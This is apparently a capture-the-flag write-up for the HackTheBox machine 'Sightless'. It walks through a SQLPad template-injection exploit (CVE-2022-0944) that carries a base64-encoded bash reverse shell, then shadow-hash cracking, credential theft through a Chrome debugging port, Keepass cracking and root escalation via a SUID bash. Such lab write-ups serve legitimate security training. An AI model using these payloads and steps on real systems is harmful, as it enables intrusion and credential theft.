Recon

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.157.23]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/

As always the very first step is to run a nmap scan against the machine. Here I see the usual ports for a Linux machine which are a HTTP server and SSH. As per usual I add the discovered domain sightledd.htb to my /etc/hosts file. While there is also FTP, since nmap did not pick up on an enabled anonymous logon I ignore it (well and don’t need for the entire machine.

The website describes some of the managed IT services the company is offering. Chiefly among them is a demo SQLPad instance. The button to take me there also reveals the subdomain, where I can find said demo to be sqlpad.sightless.htb. Another service offering is talking about Froxlox but this information will come in handy at a later time.

Foothold as root (container)

SQLPad - CVE-2022-0944

Before I can run any query through SQlPad I have to add a connection to a database. However currently I don’t have any credentials or any information about what database I am supposed to connect to.

So I go looking for a CVE instead and find one that fits the bill. CVE-2022-0944, is a Template Injection in the Database when creating/editing a connection in SQLPad, which allows for RCE on the system. This blog goes into more details about the vulnerability and provides a proof-of-concept, which I edit to execute the usual Bash reverse shell. To avoid any issues with quotes I base64 encode the payload and decode it again on the system. This gives me a reverse shell as root, well not the root user on the machine, within a Docker container.

# original
{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}

# my payload
# base64 encoded rev shell "sh -i >& /dev/tcp/10.10.14.22/9001 0>&1"
{{ process.mainModule.require('child_process').exec('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjIvOTAwMSAwPiYx | base64 -d | bash -i') }}

Shell as michael

# whoami
root
# ls -la /
total 88
drwxr-xr-x   1 root root 4096 Aug  2 09:30 .
drwxr-xr-x   1 root root 4096 Aug  2 09:30 ..
-rwxr-xr-x   1 root root    0 Aug  2 09:30 .dockerenv
...

As mentioned above while I have a shell as a root user this is not the root user. So I start looking poking around and trying to get out of the Docker container. I first check what other users exist in the container and find a second user named michael.

# cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash
# cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
...SNIP...
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

And while doing some further (not needed) enumeration I crack the hashed password of the user. Going out on a limb I check whether michael has reused their password on the host machine. They did in fact do this and I can read the user flag.

$ hashcat -m 1800 hashes/michael.txt rockyou.txt --show
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:insaneclownposse

Shell as root

After running some basic enumeration I notice an additional listening service on port 8080 and a running chrome debugging server, but this only run as john and not root. This could nonetheless be leverage to compromise john and from there potentially the root user.

michael@sightless:~$ ps auxef
 
root        1172  0.0  0.1  10340  4160 ?        S    08:48   0:00  _ /usr/sbin/CRON -f -P
john        1208  0.0  0.0   2892   972 ?        Ss   08:48   0:00      _ /bin/sh -c sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
john        1647  0.0  0.6  33660 24480 ?        S    08:50   0:01          _ /usr/bin/python3 /home/john/automation/administration.py
john        1648  0.3  0.3 33630172 15416 ?      Sl   08:50   0:10              _ /home/john/automation/chromedriver --port=49709
john        1659  0.6  2.8 34011320 112872 ?     Sl   08:50   0:17              |   _ /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.bIqPj1 data:,
...SNIP...
michael@sightless:~$ netstat -tuplen
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name
tcp        0      0 127.0.0.1:33175         0.0.0.0:*               LISTEN      0          25211      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      115        26314      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      0          26631      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      102        23068      -
tcp        0      0 127.0.0.1:49709         0.0.0.0:*               LISTEN      1001       28102      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      115        25519      -
tcp        0      0 127.0.0.1:40107         0.0.0.0:*               LISTEN      1001       28172      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      0          25844      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          25814      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      0          25142      -
tcp6       0      0 :::22                   :::*                    LISTEN      0          25816      -
tcp6       0      0 :::21                   :::*                    LISTEN      116        25949      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           102        23067      -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           0          20316      -
 

I forward port 8080 to my machine to see what service is running there. Since I do plan on adding more ports to be forwarded I chose chisel over SSH. Initially during the box release I could simply forward ports for 127.0.0.1 and still access Froxlor. This was seemingly patched and now I had to use the domain instead. Which I also had to add to my /etc/hosts as a domain name for 127.0.0.1.

michael@sightless:~$ ./chisel client 10.10.14.22:31338 R:8080:admin.sightless.htb:8080
2024/09/14 09:51:11 client: Connecting to ws://10.10.14.22:31338
2024/09/14 09:51:11 client: Connected (Latency 16.526334ms)
 
 
kali@kali:~$ ./chisel server --port 31338 --reverse
2024/09/14 11:50:46 server: Reverse tunnelling enabled
2024/09/14 11:50:46 server: Fingerprint OdWkk/ySy/8/lA7vvfAsbUV+NvixeHLqFc2YQRvz7fk=
2024/09/14 11:50:46 server: Listening on http://0.0.0.0:31338
2024/09/14 11:51:11 server: session#1: tun: proxy#R:8080=>8080: Listening

Here I find a Froxlor instance (as advertised on the website), but I do not have any valid credentials to log in with.

Chromium Debugger

michael@sightless:~$ ./chisel client 10.10.14.22:31338 R:8080:admin.sightless.htb:8080 R:40107:127.0.0.1:40107
2024/09/14 09:57:40 client: Connecting to ws://10.10.14.22:31338
2024/09/14 09:57:40 client: Connected (Latency 16.441175ms)

Since the Froxlor instance was a preliminary dud I also forward the Chromium Debugger port to my machine. You can find out the correct port by looking for higher ports numbers that are associated with the user id of john which is 1001.

From there I open a Chromium browser on my machine and navigate to the URL chrome://inspect/#devices. From there I configure a new remote target based on the port number that I forwarded to myself. This allows me to inspect a tab with the http://admin.sightless.htb:8080/index.php opened.

It seems like a script is running on the machine, which simulates a user quickly logging into Froxlor and signing out just a few seocnd later. Looking at the Application tab in the Web Developer Tools I can see a PHPSESSID, which would allow me to bypass the Froxlor login page. Sadly due to the frequent log out the session id is invalided very quickly, which means it is no good to me.

But since I am dealing with HTTP traffic I should also be able to inspect the unencrypted traffic to get the login credentials. After logging an entire login-cycle by ticking the Preserve log checkbox and stopping the log capture afterwards I find the username and password in a request to index.php.

Froxlor

From here I can finally log into the Froxlor instance as admin:ForlorfroxAdmin and figure out how I can get code execution from it. Or find another vector entirely (which is the intended path for this machine).

FTP Traffic

Froxlor offers many options and one among them is a network traffic dashboard, which shows that some FTP happened at a point in time (after increasing the time frame). Which might correlate to the exposed FTP port of the machine.

Digging a bit deeper in the GUI I come across the web1 FTP user and the option to set a new password for them, which I promptly do.

Trying to log into the FTP service with the changed password still fails, due the SSL requirement of the server. This is a capability the standard ftp client does not provide.

$ ftp web1:oBqmydeftA@sightless.htb
Connected to sightless.htb.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.231.103]
550 SSL/TLS required on the control channel
ftp: Login failed
ftp: Can't connect or login to host `sightless.htb:?'
221 Goodbye

The answer to this problem can found with a quick Google search on StackOverflow another issue arises after successfully connecting to the FTP server. But StackOverflow also has an answer for that in the form of set ssl:verify-certificate no.

At last I can connect to and use the FTP service to retrieve an old Keepass database.

$ lftp -u web1,vHxakMopys ftp://sightless.htb
lftp web1@sightless.htb:~> set ssl:verify-certificate no
lftp web1@sightless.htb:~> ls
drwxr-xr-x   3 web1     web1         4096 May 17  2024 goaccess
-rw-r--r--   1 web1     web1         8376 Mar 29  2024 index.html
lftp web1@sightless.htb:/> cd goaccess
lftp web1@sightless.htb:/goaccess> ls
drwxr-xr-x   2 web1     web1         4096 Aug  2 07:14 backup
lftp web1@sightless.htb:/goaccess> cd backup
lftp web1@sightless.htb:/goaccess/backup> ls
-rw-r--r--   1 web1     web1         5292 Aug  6 14:29 Database.kdb
lftp web1@sightless.htb:/goaccess/backup> get Database.kdb

Keepass Database

$ keepass2john Database.kdb > Database.hash
$ john Database.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 1 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldogs         (Database.kdb)

After recovering the password for the database I open it in KeepassXC, where I am asked to convert this file from a Keepass 1 database to a Keepass 2 one. I export the contents to a plaintext CSV file and see that password for the root user. Logging fails tho since I need a private SSH key as well. Though I found this close by as an attachment in the Keepass database.

"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Root/General/sightless.htb/Backup","ssh","root","q6gnLTB74L132TMdFCpK","","","","13","2024-08-02T08:11:37Z","2024-05-17T03:59:50Z"
$ ssh -i id_rsa root@sightless.htb
Load key "id_rsa": error in libcrypto
root@sightless.htb's password: 
Permission denied, please try again.
$ exiftool id_rsa 
ExifTool Version Number         : 12.57
File Name                       : id_rsa
Directory                       : ..
File Size                       : 3.4 kB
File Modification Date/Time     : 2024:11:17 15:11:07-06:00
File Access Date/Time           : 2024:11:17 15:11:38-06:00
File Inode Change Date/Time     : 2024:11:17 15:11:36-06:00
File Permissions                : -rw-------
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
MIME Encoding                   : us-ascii
Newlines                        : Windows CRLF
Line Count                      : 49
Word Count                      : 55

There is an error in the SSH key, which causes the login attempt to fails. The origin of this error is the type of newlines used in the SSH which are Windows CRLF and not Unix LF. As a quickfix I cat the key and paste it into another one to solve the issue.

$ ssh -i id_rsa root@sightless.htb
Last login: Sun Nov 17 21:14:19 2024 from 10.10.14.156
root@sightless:~# id
uid=0(root) gid=0(root) groups=0(root)

Restart Command

From there and by looking through the Froxlor documentation I see that I can gain code execution my changing the value of php-fpm restart command. Some character filtering is in place here so instead of a reverse shell (which I could have put into script) I set the SUID bit on /bin/bash using chmod. However I cannot restart the service myself so I had to wait till a cronjob checked the config and executed my command.

michael@sightless:~$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1396520 Mar 14  2024 /bin/bash
michael@sightless:~$ /bin/bash -p
bash-5.1# id
uid=1000(michael) gid=1000(michael) euid=0(root) groups=1000(michael)